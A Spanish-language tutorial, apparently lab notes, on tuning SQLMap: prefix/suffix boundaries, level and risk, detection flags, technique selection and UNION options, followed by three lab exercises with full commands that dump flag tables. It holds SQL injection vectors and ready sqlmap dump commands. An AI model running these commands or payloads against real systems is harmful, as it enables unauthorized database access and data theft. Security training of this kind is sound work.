🛠️ Afinación de Ataques en SQLMap
Opciones avanzadas para ajustar vectores, límites, técnicas y detección en SQLMap para mejorar la explotación de SQLi.
🎯 Concepto General
En la mayoría de los casos, SQLMap funciona perfectamente con las opciones por defecto.
Sin embargo, algunos objetivos requieren una inyección más precisa, por lo que podemos ajustar vectores, límites y técnicas para mejorar la detección.
Cada payload utilizado por SQLMap contiene dos partes:
🔹 Vector
Es la parte central del payload, el código SQL útil que realmente ejecuta la acción.
Ejemplos:
-
UNION ALL SELECT 1,2,VERSION() -
AND 1=1 -
' OR '1'='1 -
AND SLEEP(5)
👉 El vector es el “ataque real”.
🔹 Límites (prefix / suffix)
Son valores que SQLMap coloca antes y después del vector para que encaje correctamente en la consulta SQL vulnerada.
Ejemplo conceptual:
<prefix> VECTOR <suffix>
👉 Los límites permiten “meter” el vector en la consulta sin romperla.
Ejemplo visual simple:
Consulta del servidor:
SELECT * FROM users WHERE id = <input>
Si SQLMap mete:
<input> = 1 AND 1=1
Funciona.
Pero si la consulta es más compleja:
SELECT * FROM users WHERE id LIKE (('<input>'))
Ahora SQLMap necesita límites especiales para no romper nada.
🧩 Prefijo y Sufijo ( --prefix / --suffix )
Perfecto para consultas muy estrictas o con demasiados paréntesis.
Ejemplo:
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
Esto encierra todos los vectores enviados con:
-
Prefijo:
%')) -
Sufijo:
-- -
🧠 Ejemplo claro
Consulta vulnerable real:
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
Usando prefix/suffix, SQLMap generará algo como:
SELECT id,name,surname FROM users
WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1
📈 Nivel y Riesgo ( --level / --risk )
Aumentar level y risk hace que SQLMap pruebe muchos más payloads, pero también ralentiza mucho la ejecución.
⭐ --level (1–5)
Aumenta la cantidad de vectores y límites probados.
Cuanto mayor el level → más payloads → más detección → más lento.
☢️ --risk (1–3)
Activa payloads que podrían afectar la BD:
UPDATE, DELETE, INSERT, etc.
📊 Ejemplo: ver payloads con -v 3
sqlmap -u www.example.com/?id=1 -v 3 --level=5
Fragmento real:
[PAYLOAD] 1) AND 5907=7031-- AuiO
[PAYLOAD] 1'))) AND 4534=9645 AND ((('DdNs' LIKE 'DdNs
Con valores por defecto:
[PAYLOAD] 1 AND 7036=6691-- DmQN [PAYLOAD] 1') AND 9393=3783 AND ('SgYz'='SgYz
📌 Diferencia en número de payloads
| Configuración | Nº de Payloads |
|---|---|
--level=1 --risk=1 |
~72 |
--level=5 --risk=3 |
~7865 |
Para la mayoría de usuarios, NO se recomienda tocar estas opciones, salvo casos especiales (páginas de login, SQLi muy rebeldes, etc.).
⚙️ Ajustes Avanzados
Opciones especiales para detecciones muy particulares:
🔢 --code
Usado cuando TRUE y FALSE responden con códigos HTTP distintos:
--code=200
🏷️ --titles
Compara solo el contenido del <title>:
--titles
🔤 --string
Marca TRUE si aparece una cadena específica:
--string=success
📰 --text-only
Ignora etiquetas como <script>, <meta>, etc.
--text-only
🧪 Técnicas de Inyección ( --technique )
-
B = Boolean-based
-
E = Error-based
-
U = Union
-
S = Stacked queries
-
T = Time-based
-
Q = Inline queries
Ejemplo: desactivar time-based y stacked:
--technique=BEU
🧱 Ajustes para UNION SQLi
Algunos UNION requieren valores manuales:
🔢 --union-cols
Indica el número de columnas:
--union-cols=17
🔠 --union-char
Relleno personalizado para UNION:
--union-char='a'
📚 --union-from
Apéndice FROM extra (común en Oracle):
--union-from=users
🎯 Conclusión
Pero estos ajustes permiten:
-
Ataques más precisos
-
Detección más agresiva
-
Resolver casos difíciles
-
Controlar cómo encaja el payload en la consulta
-
Personalizar el comportamiento en entornos complejos
🧪 Ejercicios Prácticos de SQLMap (Explicados)
🧩 Ejercicio 1 – Caso #5
📋 Objetivo
Obtener el contenido de la tabla flag5 explotando una vulnerabilidad SQLi en un parámetro GET.
El parámetro id es vulnerable y SQLMap no detecta correctamente la inyección con valores por defecto, por lo que es necesario aumentar la agresividad del escaneo.

🛠️ Comando usado
sqlmap -u "http://<IP>:<PUERTO>/case5.php?id=1" \
--batch --dump -T flag5 --risk=3 --level=5
🔍 Explicación del comando
-
-u→ URL objetivo con parámetro vulnerable (id) -
--batch→ Evita preguntas interactivas (modo automático) -
-T flag5→ Indica explícitamente la tabla a volcar -
--dump→ Extrae el contenido de la tabla -
--level=5→ Prueba muchos más vectores y límites -
--risk=3→ Activa payloads más agresivos (OR, consultas peligrosas)
Este caso NO se resuelve con configuración por defecto.
Es típico de SQLi donde solo payloads más agresivos funcionan.

🧩 Ejercicio 2 – Caso #6
📋 Objetivo
Explotar una SQLi donde la consulta SQL del servidor tiene paréntesis o comillas mal balanceadas.
El parámetro vulnerable (col) se inserta en la consulta SQL con una sintaxis especial.
SQLMap falla automáticamente, por lo que debemos ajustar el prefijo manualmente.
🛠️ Comando usado
sqlmap -u "http://<IP>:<PUERTO>/case6.php?col=id" \
--prefix='`)' --batch -T flag6 --dump
🔍 Explicación del comando
--prefix=')'`
🔑 Clave del ejercicio
Cierra correctamente la estructura SQL antes de insertar el vector.
Ejemplo conceptual:
Consulta original:
SELECT * FROM table WHERE column = (`<input>`
`) UNION SELECT ...
Esto evita errores de sintaxis y permite la inyección.

🧩 Ejercicio 3 – Caso #7
📋 Objetivo
Extraer datos usando UNION-based SQL Injection, forzando manualmente el número de columnas.
SQLMap detecta la inyección, pero no puede determinar automáticamente el número de columnas necesarias para el UNION.

Se identifica manualmente que hay 5 columnas.
🛠️ Comando usado
sqlmap -u "http://<IP>:<PUERTO>/case7.php?id=1" \
-T flag7 --technique=U --union-cols=5 --dump --batch
Explicación del comando
-
--technique=U→ Fuerza solo UNION-based SQLi -
--union-cols=5→ Indica el número exacto de columnas -
-T flag7→ Tabla objetivo -
--dump→ Extrae los datos
Forzar UNION acelera el ataque y evita falsos positivos.
